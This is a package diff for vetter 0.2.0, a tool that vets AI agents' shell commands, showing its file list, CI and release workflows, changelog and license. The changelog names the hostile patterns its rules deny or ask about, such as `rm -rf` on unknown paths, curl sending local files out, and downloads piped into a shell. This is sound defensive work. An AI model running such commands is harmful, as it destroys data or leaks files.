vetter 0.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (203) hide show
  1. vetter-0.2.0/.github/workflows/ci.yml +71 -0
  2. vetter-0.2.0/.github/workflows/release.yml +71 -0
  3. vetter-0.2.0/.gitignore +12 -0
  4. vetter-0.2.0/CHANGELOG.md +102 -0
  5. vetter-0.2.0/LICENSE +202 -0
  6. vetter-0.2.0/NOTICE +7 -0
  7. vetter-0.2.0/PKG-INFO +192 -0
  8. vetter-0.2.0/README.md +159 -0
  9. vetter-0.2.0/corpus/LICENSE +396 -0
  10. vetter-0.2.0/corpus/README.md +56 -0
  11. vetter-0.2.0/corpus/bash/arguments.toml +101 -0
  12. vetter-0.2.0/corpus/bash/arithmetic.toml +151 -0
  13. vetter-0.2.0/corpus/bash/audit.toml +366 -0
  14. vetter-0.2.0/corpus/bash/comments-env.toml +71 -0
  15. vetter-0.2.0/corpus/bash/expansion.toml +91 -0
  16. vetter-0.2.0/corpus/bash/gpt-obfuscated-rm.toml +330 -0
  17. vetter-0.2.0/corpus/bash/gpt-obfuscated.toml +572 -0
  18. vetter-0.2.0/corpus/bash/options.toml +241 -0
  19. vetter-0.2.0/corpus/bash/oracle.toml +129 -0
  20. vetter-0.2.0/corpus/bash/parsing.toml +133 -0
  21. vetter-0.2.0/corpus/bash/python.toml +361 -0
  22. vetter-0.2.0/corpus/bash/redirections.toml +61 -0
  23. vetter-0.2.0/corpus/bash/round2.toml +629 -0
  24. vetter-0.2.0/corpus/bash/separators.toml +72 -0
  25. vetter-0.2.0/corpus/bash/sinks.toml +346 -0
  26. vetter-0.2.0/corpus/bash/strict.toml +236 -0
  27. vetter-0.2.0/corpus/bash/substitution.toml +126 -0
  28. vetter-0.2.0/corpus/bash/usability.toml +120 -0
  29. vetter-0.2.0/corpus/bash/wrappers.toml +131 -0
  30. vetter-0.2.0/corpus/cmd/arguments.toml +123 -0
  31. vetter-0.2.0/corpus/cmd/audit.toml +65 -0
  32. vetter-0.2.0/corpus/cmd/comments-env.toml +65 -0
  33. vetter-0.2.0/corpus/cmd/expansion.toml +87 -0
  34. vetter-0.2.0/corpus/cmd/gpt-obfuscated-rm.toml +196 -0
  35. vetter-0.2.0/corpus/cmd/gpt-obfuscated.toml +194 -0
  36. vetter-0.2.0/corpus/cmd/harmless.toml +111 -0
  37. vetter-0.2.0/corpus/cmd/oracle.toml +29 -0
  38. vetter-0.2.0/corpus/cmd/parsing.toml +81 -0
  39. vetter-0.2.0/corpus/cmd/redirections.toml +71 -0
  40. vetter-0.2.0/corpus/cmd/round2.toml +74 -0
  41. vetter-0.2.0/corpus/cmd/separators.toml +73 -0
  42. vetter-0.2.0/corpus/cmd/substitution.toml +73 -0
  43. vetter-0.2.0/corpus/cmd/wrappers.toml +103 -0
  44. vetter-0.2.0/corpus/harmless/arithmetic.toml +74 -0
  45. vetter-0.2.0/corpus/harmless/compound.toml +65 -0
  46. vetter-0.2.0/corpus/harmless/oracle.toml +37 -0
  47. vetter-0.2.0/corpus/harmless/python.toml +179 -0
  48. vetter-0.2.0/corpus/harmless/round2.toml +231 -0
  49. vetter-0.2.0/corpus/harmless/strict.toml +127 -0
  50. vetter-0.2.0/corpus/harmless/toolchains.toml +74 -0
  51. vetter-0.2.0/corpus/harmless/usability.toml +101 -0
  52. vetter-0.2.0/corpus/powershell/arguments.toml +125 -0
  53. vetter-0.2.0/corpus/powershell/audit.toml +88 -0
  54. vetter-0.2.0/corpus/powershell/comments-env.toml +65 -0
  55. vetter-0.2.0/corpus/powershell/expansion.toml +83 -0
  56. vetter-0.2.0/corpus/powershell/gpt-obfuscated-rm.toml +254 -0
  57. vetter-0.2.0/corpus/powershell/gpt-obfuscated.toml +291 -0
  58. vetter-0.2.0/corpus/powershell/harmless.toml +120 -0
  59. vetter-0.2.0/corpus/powershell/oracle.toml +48 -0
  60. vetter-0.2.0/corpus/powershell/parsing.toml +123 -0
  61. vetter-0.2.0/corpus/powershell/redirections.toml +73 -0
  62. vetter-0.2.0/corpus/powershell/round2.toml +129 -0
  63. vetter-0.2.0/corpus/powershell/separators.toml +75 -0
  64. vetter-0.2.0/corpus/powershell/substitution.toml +77 -0
  65. vetter-0.2.0/corpus/powershell/wrappers.toml +103 -0
  66. vetter-0.2.0/docs/README.md +41 -0
  67. vetter-0.2.0/docs/agents.md +137 -0
  68. vetter-0.2.0/docs/assets/logo-dark.svg +25 -0
  69. vetter-0.2.0/docs/assets/logo-light.svg +25 -0
  70. vetter-0.2.0/docs/assets/mark.svg +14 -0
  71. vetter-0.2.0/docs/cli.md +123 -0
  72. vetter-0.2.0/docs/development.md +149 -0
  73. vetter-0.2.0/docs/embedding.md +91 -0
  74. vetter-0.2.0/docs/getting-started.md +165 -0
  75. vetter-0.2.0/docs/how-it-works.md +131 -0
  76. vetter-0.2.0/docs/policy-language.md +306 -0
  77. vetter-0.2.0/docs/reading-commands.md +139 -0
  78. vetter-0.2.0/docs/roadmap.md +39 -0
  79. vetter-0.2.0/docs/security.md +94 -0
  80. vetter-0.2.0/docs/stock-policy.md +102 -0
  81. vetter-0.2.0/docs/testing.md +155 -0
  82. vetter-0.2.0/docs/why-vetter.md +142 -0
  83. vetter-0.2.0/pyproject.toml +63 -0
  84. vetter-0.2.0/tests/conftest.py +46 -0
  85. vetter-0.2.0/tests/golden/bash_expand.json.gz +0 -0
  86. vetter-0.2.0/tests/golden/bash_resolve.json.gz +0 -0
  87. vetter-0.2.0/tests/golden/bash_scan_escapes.json.gz +0 -0
  88. vetter-0.2.0/tests/golden/bash_scan_heredocs.json.gz +0 -0
  89. vetter-0.2.0/tests/golden/bash_syntax.json.gz +0 -0
  90. vetter-0.2.0/tests/golden/check.json.gz +0 -0
  91. vetter-0.2.0/tests/golden/cli.json.gz +0 -0
  92. vetter-0.2.0/tests/golden/cmd_resolve.json.gz +0 -0
  93. vetter-0.2.0/tests/golden/hook.json.gz +0 -0
  94. vetter-0.2.0/tests/golden/log_masks.json.gz +0 -0
  95. vetter-0.2.0/tests/golden/paths.json.gz +0 -0
  96. vetter-0.2.0/tests/golden/ps_resolve.json.gz +0 -0
  97. vetter-0.2.0/tests/golden.py +40 -0
  98. vetter-0.2.0/tests/shared.py +87 -0
  99. vetter-0.2.0/tests/test_bash_expand.py +87 -0
  100. vetter-0.2.0/tests/test_bash_resolve.py +66 -0
  101. vetter-0.2.0/tests/test_bash_scan.py +36 -0
  102. vetter-0.2.0/tests/test_bash_syntax.py +45 -0
  103. vetter-0.2.0/tests/test_check.py +70 -0
  104. vetter-0.2.0/tests/test_cli.py +82 -0
  105. vetter-0.2.0/tests/test_cmd_resolve.py +40 -0
  106. vetter-0.2.0/tests/test_corpus.py +49 -0
  107. vetter-0.2.0/tests/test_hook.py +522 -0
  108. vetter-0.2.0/tests/test_import.py +55 -0
  109. vetter-0.2.0/tests/test_learn.py +63 -0
  110. vetter-0.2.0/tests/test_lint.py +74 -0
  111. vetter-0.2.0/tests/test_log.py +86 -0
  112. vetter-0.2.0/tests/test_oracle.py +66 -0
  113. vetter-0.2.0/tests/test_paths.py +36 -0
  114. vetter-0.2.0/tests/test_project.py +32 -0
  115. vetter-0.2.0/tests/test_ps_resolve.py +44 -0
  116. vetter-0.2.0/tools/__init__.py +0 -0
  117. vetter-0.2.0/tools/bash/__init__.py +0 -0
  118. vetter-0.2.0/tools/bash/bashdiff.py +470 -0
  119. vetter-0.2.0/tools/bash/bashfuzz.py +225 -0
  120. vetter-0.2.0/tools/compare/__init__.py +0 -0
  121. vetter-0.2.0/tools/compare/guards.py +168 -0
  122. vetter-0.2.0/tools/compare/vs_dcg.py +77 -0
  123. vetter-0.2.0/tools/compare/vs_treesitter.py +127 -0
  124. vetter-0.2.0/tools/corpus/__init__.py +0 -0
  125. vetter-0.2.0/tools/corpus/corpus.py +68 -0
  126. vetter-0.2.0/tools/corpus/decide_corpus.py +66 -0
  127. vetter-0.2.0/tools/corpus/resolve_corpus.py +58 -0
  128. vetter-0.2.0/tools/oracle/linux.py +391 -0
  129. vetter-0.2.0/tools/oracle/mutate.py +127 -0
  130. vetter-0.2.0/tools/oracle/pyfuzz.py +179 -0
  131. vetter-0.2.0/tools/oracle/windows.py +243 -0
  132. vetter-0.2.0/tools/oracle/winmutate.py +146 -0
  133. vetter-0.2.0/tools/powershell/__init__.py +0 -0
  134. vetter-0.2.0/tools/powershell/cmdlet_params.py +68 -0
  135. vetter-0.2.0/tools/powershell/oracle.py +111 -0
  136. vetter-0.2.0/tools/powershell/probe.py +32 -0
  137. vetter-0.2.0/tools/powershell/pwshdiff.py +258 -0
  138. vetter-0.2.0/tools/powershell/pwshfuzz.py +194 -0
  139. vetter-0.2.0/tools/python/__init__.py +0 -0
  140. vetter-0.2.0/tools/python/pydiff.py +123 -0
  141. vetter-0.2.0/tools/python/valuediff.py +137 -0
  142. vetter-0.2.0/vetter/__init__.py +3 -0
  143. vetter-0.2.0/vetter/__main__.py +5 -0
  144. vetter-0.2.0/vetter/agents/__init__.py +2 -0
  145. vetter-0.2.0/vetter/agents/hook.py +298 -0
  146. vetter-0.2.0/vetter/agents/importing.py +219 -0
  147. vetter-0.2.0/vetter/agents/install.py +214 -0
  148. vetter-0.2.0/vetter/agents/learn.py +173 -0
  149. vetter-0.2.0/vetter/agents/log.py +393 -0
  150. vetter-0.2.0/vetter/agents/written.py +131 -0
  151. vetter-0.2.0/vetter/build.py +86 -0
  152. vetter-0.2.0/vetter/check.py +38 -0
  153. vetter-0.2.0/vetter/cli.py +327 -0
  154. vetter-0.2.0/vetter/engine.py +111 -0
  155. vetter-0.2.0/vetter/gitconfig.py +141 -0
  156. vetter-0.2.0/vetter/glob.py +89 -0
  157. vetter-0.2.0/vetter/jsontext.py +128 -0
  158. vetter-0.2.0/vetter/paths.py +190 -0
  159. vetter-0.2.0/vetter/places.py +191 -0
  160. vetter-0.2.0/vetter/policy/__init__.py +4 -0
  161. vetter-0.2.0/vetter/policy/actions.py +642 -0
  162. vetter-0.2.0/vetter/policy/builtin/prelude.vet +32 -0
  163. vetter-0.2.0/vetter/policy/builtin/stock.vet +232 -0
  164. vetter-0.2.0/vetter/policy/checks.py +198 -0
  165. vetter-0.2.0/vetter/policy/language.py +1220 -0
  166. vetter-0.2.0/vetter/policy/policy.zgram +66 -0
  167. vetter-0.2.0/vetter/policy/trace.py +93 -0
  168. vetter-0.2.0/vetter/shells/__init__.py +2 -0
  169. vetter-0.2.0/vetter/shells/bash/__init__.py +2 -0
  170. vetter-0.2.0/vetter/shells/bash/arith.py +428 -0
  171. vetter-0.2.0/vetter/shells/bash/bash.zgram +159 -0
  172. vetter-0.2.0/vetter/shells/bash/expand.py +966 -0
  173. vetter-0.2.0/vetter/shells/bash/resolve.py +2210 -0
  174. vetter-0.2.0/vetter/shells/bash/scan.py +423 -0
  175. vetter-0.2.0/vetter/shells/bash/syntax.py +153 -0
  176. vetter-0.2.0/vetter/shells/cmd/__init__.py +2 -0
  177. vetter-0.2.0/vetter/shells/cmd/resolve.py +1083 -0
  178. vetter-0.2.0/vetter/shells/cmd/syntax.py +698 -0
  179. vetter-0.2.0/vetter/shells/powershell/__init__.py +2 -0
  180. vetter-0.2.0/vetter/shells/powershell/cmdlets.py +108 -0
  181. vetter-0.2.0/vetter/shells/powershell/grammar.py +237 -0
  182. vetter-0.2.0/vetter/shells/powershell/resolve.py +1536 -0
  183. vetter-0.2.0/vetter/shells/powershell/syntax.py +166 -0
  184. vetter-0.2.0/vetter/shells/powershell/values.py +547 -0
  185. vetter-0.2.0/vetter/shells/python/__init__.py +0 -0
  186. vetter-0.2.0/vetter/shells/python/python.zgram +174 -0
  187. vetter-0.2.0/vetter/shells/python/resolve.py +3273 -0
  188. vetter-0.2.0/vetter/shells/python/scan.py +186 -0
  189. vetter-0.2.0/vetter/shells/python/stdlib.py +359 -0
  190. vetter-0.2.0/vetter/shells/python/syntax.py +20 -0
  191. vetter-0.2.0/vetter/specs/README.md +112 -0
  192. vetter-0.2.0/vetter/specs/__init__.py +2257 -0
  193. vetter-0.2.0/vetter/specs/dev.toml +352 -0
  194. vetter-0.2.0/vetter/specs/env.toml +312 -0
  195. vetter-0.2.0/vetter/specs/files.toml +701 -0
  196. vetter-0.2.0/vetter/specs/git.toml +223 -0
  197. vetter-0.2.0/vetter/specs/load.py +71 -0
  198. vetter-0.2.0/vetter/specs/network.toml +110 -0
  199. vetter-0.2.0/vetter/specs/powershell-params.toml +677 -0
  200. vetter-0.2.0/vetter/specs/powershell.toml +386 -0
  201. vetter-0.2.0/vetter/specs/toolchains.toml +317 -0
  202. vetter-0.2.0/vetter/specs/windows.toml +136 -0
  203. vetter-0.2.0/vetter/toolconfig.py +206 -0
@@ -0,0 +1,71 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ pull_request:
7
+ workflow_dispatch:
8
+ workflow_call:
9
+
10
+ jobs:
11
+ lint:
12
+ name: Lint
13
+ runs-on: ubuntu-latest
14
+ steps:
15
+ - uses: actions/checkout@v4
16
+ - uses: astral-sh/ruff-action@v3
17
+
18
+ test:
19
+ name: Test (Python ${{ matrix.python }})
20
+ runs-on: ubuntu-latest
21
+ strategy:
22
+ fail-fast: false
23
+ matrix:
24
+ python: ["3.11", "3.12", "3.14"]
25
+ steps:
26
+ - uses: actions/checkout@v4
27
+
28
+ - uses: actions/setup-python@v5
29
+ with:
30
+ python-version: ${{ matrix.python }}
31
+
32
+ - name: Install
33
+ run: python -m pip install '.[test]'
34
+
35
+ - name: The stock policy's tests
36
+ run: vetter test
37
+
38
+ # (one process: zrun compiles vetter's code as each path is first
39
+ # reached, and parallel workers each compiled and optimized it
40
+ # at once, about 25 GB; one process takes about 6)
41
+ - name: Test (both of zrun's modes, against the recorded answers)
42
+ run: python -m pytest -q -n 0
43
+
44
+ - name: The corpus
45
+ run: python -m tools.corpus.decide_corpus
46
+
47
+ build:
48
+ name: Build
49
+ needs: [lint, test]
50
+ runs-on: ubuntu-latest
51
+ steps:
52
+ - uses: actions/checkout@v4
53
+
54
+ - uses: actions/setup-python@v5
55
+ with:
56
+ python-version: "3.12"
57
+
58
+ - name: Build the wheel and the sdist
59
+ run: python -m pip install build && python -m build
60
+
61
+ - name: Check the specs and the built-in policies are in the wheel
62
+ run: |
63
+ python -c "import zipfile, glob; names = zipfile.ZipFile(glob.glob('dist/*.whl')[0]).namelist(); \
64
+ need = ['vetter/policy/builtin/stock.vet', 'vetter/policy/builtin/prelude.vet', 'vetter/specs/git.toml', \
65
+ 'vetter/shells/bash/bash.zgram', 'vetter/shells/python/python.zgram']; \
66
+ missing = [n for n in need if n not in names]; assert not missing, missing"
67
+
68
+ - uses: actions/upload-artifact@v4
69
+ with:
70
+ name: wheel-vetter
71
+ path: dist/*
@@ -0,0 +1,71 @@
1
+ name: Release
2
+
3
+ # Push a tag like v0.2.0 (matching the version in pyproject.toml) to test,
4
+ # build, publish to PyPI (as vetter) and create a GitHub release.
5
+ on:
6
+ push:
7
+ tags: ["v*"]
8
+
9
+ jobs:
10
+ check-version:
11
+ name: Check tag matches version
12
+ runs-on: ubuntu-latest
13
+ steps:
14
+ - uses: actions/checkout@v4
15
+ - name: Compare tag with pyproject.toml and the package
16
+ run: |
17
+ TAG="${GITHUB_REF_NAME#v}"
18
+ PYPROJECT=$(sed -n 's/^version = "\(.*\)"/\1/p' pyproject.toml)
19
+ PACKAGE=$(sed -n 's/^__version__ = "\(.*\)"/\1/p' vetter/__init__.py)
20
+ echo "tag=$TAG pyproject=$PYPROJECT package=$PACKAGE"
21
+ [ "$TAG" = "$PYPROJECT" ] && [ "$TAG" = "$PACKAGE" ]
22
+
23
+ ci:
24
+ needs: check-version
25
+ uses: ./.github/workflows/ci.yml
26
+
27
+ pypi:
28
+ name: Publish to PyPI
29
+ needs: ci
30
+ runs-on: ubuntu-latest
31
+ environment: pypi
32
+ permissions:
33
+ # Trusted publishing, used when PYPI_API_TOKEN isn't set
34
+ id-token: write
35
+ steps:
36
+ - uses: actions/download-artifact@v4
37
+ with:
38
+ name: wheel-vetter
39
+ path: dist
40
+
41
+ - name: Publish
42
+ uses: pypa/gh-action-pypi-publish@release/v1
43
+ with:
44
+ password: ${{ secrets.PYPI_API_TOKEN }}
45
+ packages-dir: dist/
46
+
47
+ github-release:
48
+ name: GitHub release
49
+ needs: pypi
50
+ runs-on: ubuntu-latest
51
+ permissions:
52
+ contents: write
53
+ steps:
54
+ - uses: actions/checkout@v4
55
+
56
+ - uses: actions/download-artifact@v4
57
+ with:
58
+ name: wheel-vetter
59
+ path: dist
60
+
61
+ - name: Create release with this version's changelog
62
+ env:
63
+ GH_TOKEN: ${{ github.token }}
64
+ run: |
65
+ VERSION="${GITHUB_REF_NAME#v}"
66
+ awk -v v="$VERSION" '
67
+ $0 ~ "^## \\[" v "\\]" { found = 1; next }
68
+ found && /^## \[/ { exit }
69
+ found { print }
70
+ ' CHANGELOG.md > notes.md
71
+ gh release create "$GITHUB_REF_NAME" dist/* --title "vetter $VERSION" --notes-file notes.md
@@ -0,0 +1,12 @@
1
+ .venv/
2
+ __pycache__/
3
+ *.egg-info/
4
+ dist/
5
+ .pytest_cache/
6
+ .ruff_cache/
7
+ .ninja_log
8
+ .zig-cache/
9
+ zig-out/
10
+ *.so
11
+ *.dll
12
+ *.exe
@@ -0,0 +1,102 @@
1
+ # Changelog
2
+
3
+ All notable changes to vetter are documented in this file.
4
+
5
+ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
+ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
+
8
+ ## [Unreleased]
9
+
10
+ ## [0.2.0] - 2026-10-13
11
+
12
+ The first published release.
13
+
14
+ ### Added
15
+ - **Python read and followed**: the code given to `python -c`, or to
16
+ python on its stdin (a here-document, `echo ... |`), is parsed (Python
17
+ 3.8-3.13, checked against CPython's parser on the standard library) and
18
+ evaluated abstractly: what it reads, writes and deletes, the commands it
19
+ runs (`os.system`, `subprocess`, `os.exec*`, resolved as shell commands,
20
+ with the folder, environment and input it gives them), where it connects.
21
+ Both ways of a branch, loops until their values settle, exceptions, early
22
+ returns, closures and shared lists followed; what it can't follow
23
+ (`eval`, `exec`, `__import__`, `ctypes`, third-party calls) asked.
24
+ Programs built to mislead it, run for real (`tools/oracle/pyfuzz.py`):
25
+ none did more than vetter allowed.
26
+ - **`vetter learn`**: rules from the asks you said yes to. The hook logs
27
+ each call's id and, through a `PostToolUse` hook (Claude Code, Codex),
28
+ that it ran; `vetter learn` suggests the narrowest rule for each
29
+ (a program and its subcommands, a host, a folder), never from what vetter
30
+ couldn't see, an ask made on purpose, or a rule that would allow what you
31
+ said no to. `--apply` adds them to your policy.
32
+ - **Known paths where they were unknown**: `find -exec`'s `{}` is a file
33
+ under its starting point, `xargs` fed by `echo` gets its words (`-i`,
34
+ `-I` in place), PowerShell's `foreach` over constant strings binds its
35
+ variable, `$_` from `Get-ChildItem PATH` is a file under PATH.
36
+ - **The stock policy**: read-only `gh`, `az`, `bq` and `kubectl`
37
+ subcommands allowed; any program with `--help` or `--version` (its run
38
+ only); `git branch -d` (`-D` still asked).
39
+ - **Documentation** rewritten for readers (`docs/`), a logo, the corpus'
40
+ own README.
41
+ - `tools/compare/guards.py` tells the attacks vetter allows by policy from
42
+ the ones it couldn't read; `tests/test_corpus.py` decides the corpus in
43
+ both of zrun's modes.
44
+
45
+ ### Changed
46
+ - **A path only running tells is asked about, not denied**: `rm -rf "$X"`
47
+ no longer matches `deny delete outside $project` (an unknown path isn't
48
+ known to be outside); it still keeps an allow from applying.
49
+ - **Data written in the command isn't local data sent out**:
50
+ `curl -d 'a=1'` is the network's rule (asked); a file (`-d @f`, `-F
51
+ k=@f`, `-T f`), a pipe or a value only running tells is still denied.
52
+ - **Python's network isn't python's own**: a rule allowing `python3`
53
+ doesn't cover the connections its `-c` code makes.
54
+ - **`curl ... | python3 -c CODE`** isn't "a download piped into a shell":
55
+ the code is read, and what it does with its input decided (a shell fed
56
+ from it, `exec` of it, a file it writes then run: still denied).
57
+ - vetter is licensed under Apache-2.0, the corpus under CC BY 4.0.
58
+ - zrun 0.7.4 or later.
59
+
60
+ ### Fixed
61
+ - `vetter why` printed an execution's `(via ...)` twice.
62
+
63
+ ## [0.1.0] - 2026-10-12
64
+
65
+ The first release (tagged, not published): vetter vets every command an AI
66
+ agent wants to run, reading it as its shell reads it (bash, PowerShell,
67
+ cmd.exe) and deciding it by a policy, as the agent's hook (Claude Code,
68
+ Codex, Gemini, Cursor, Copilot, Cline, Amp, opencode, VS Code), a CLI, an
69
+ executable, and a C library.
70
+
71
+ ### Added
72
+ - **Reading commands as their shells do**: bash (expansions, substitutions,
73
+ arithmetic, aliases, functions, here-documents, the directory stack,
74
+ namerefs, exports), PowerShell (cmdlets and their parameters, aliases,
75
+ default parameter values, `-EncodedCommand`, script blocks, .NET calls,
76
+ provider paths), cmd.exe (`%VAR%` and delayed `!VAR!`, carets, `for`,
77
+ `call`, `if`, `COMSPEC`, stdin continuation); what each program does with
78
+ its arguments and environment from command specs (`vetter/specs`), the
79
+ tools agents use most read strictly (every option listed).
80
+ - **The policy language** (`docs/policy-language.md`): rules on what a
81
+ command does (reads, writes, deletes, runs, downloads, sends) and where,
82
+ by program and subcommand, with conditions; the stock policy; `vetter
83
+ check`, `why` (each rule's verdict), `test`, `lint`, `replay`, `import`
84
+ (an agent's permission rules as a policy), `install`.
85
+ - **Deciding on the machine**: symbolic links followed, what the agent's
86
+ earlier commands and editing tools wrote remembered (running it asks),
87
+ the configs a tool reads from the project (git's, cargo's, yarn's,
88
+ maven's, npm's) read for the programs they name, the workspace the agent
89
+ was opened in as the project.
90
+ - **A bypass corpus** (`corpus/`, 793 cases: bash, PowerShell, cmd, and
91
+ harmless commands that must be allowed), and **oracles** that run
92
+ commands for real (`tools/oracle`: bash in bubblewrap under strace, cmd
93
+ and PowerShell on Windows from WSL, each attack written many ways);
94
+ `pytest --oracle`. A comparison with dcg and cc-safety-net
95
+ (`tools/compare/guards.py`, results in `docs/testing.md`).
96
+
97
+ ### Security
98
+ - Two analyzer audits' findings fixed (the first: 49; its second round:
99
+ 40), each runtime-verified, by
100
+ what they share rather than one by one; the oracles' own finds since
101
+ (aliases losing redirections, `if`'s redirections in cmd, PowerShell's
102
+ `${C:\...}` and script blocks' redirections, Windows path forms).
vetter-0.2.0/LICENSE ADDED
@@ -0,0 +1,202 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding those notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
